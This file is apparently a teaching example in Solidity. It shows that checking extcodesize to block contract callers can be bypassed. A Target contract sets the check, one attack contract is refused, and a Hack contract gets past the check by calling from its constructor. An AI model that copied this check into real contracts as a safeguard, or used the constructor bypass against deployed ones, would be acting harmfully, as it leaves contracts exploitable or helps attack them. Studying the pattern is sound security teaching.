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Sol.sol
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Sol.sol
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8;
contract Target {
function isContract(address account) public view returns (bool) {
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
bool public pwned = false;
function protected() external {
require(!isContract(msg.sender), "no contract allowed");
pwned = true;
}
}
contract FailedAttack {
// Attempting to call Target.protected will fail,
// Target block calls from contract
function pwn(address _target) external {
// This will fail
Target(_target).protected();
}
}
contract Hack {
bool public isContract;
constructor(address _target) {
isContract = Target(_target).isContract(address(this));
Target(_target).protected();
}
}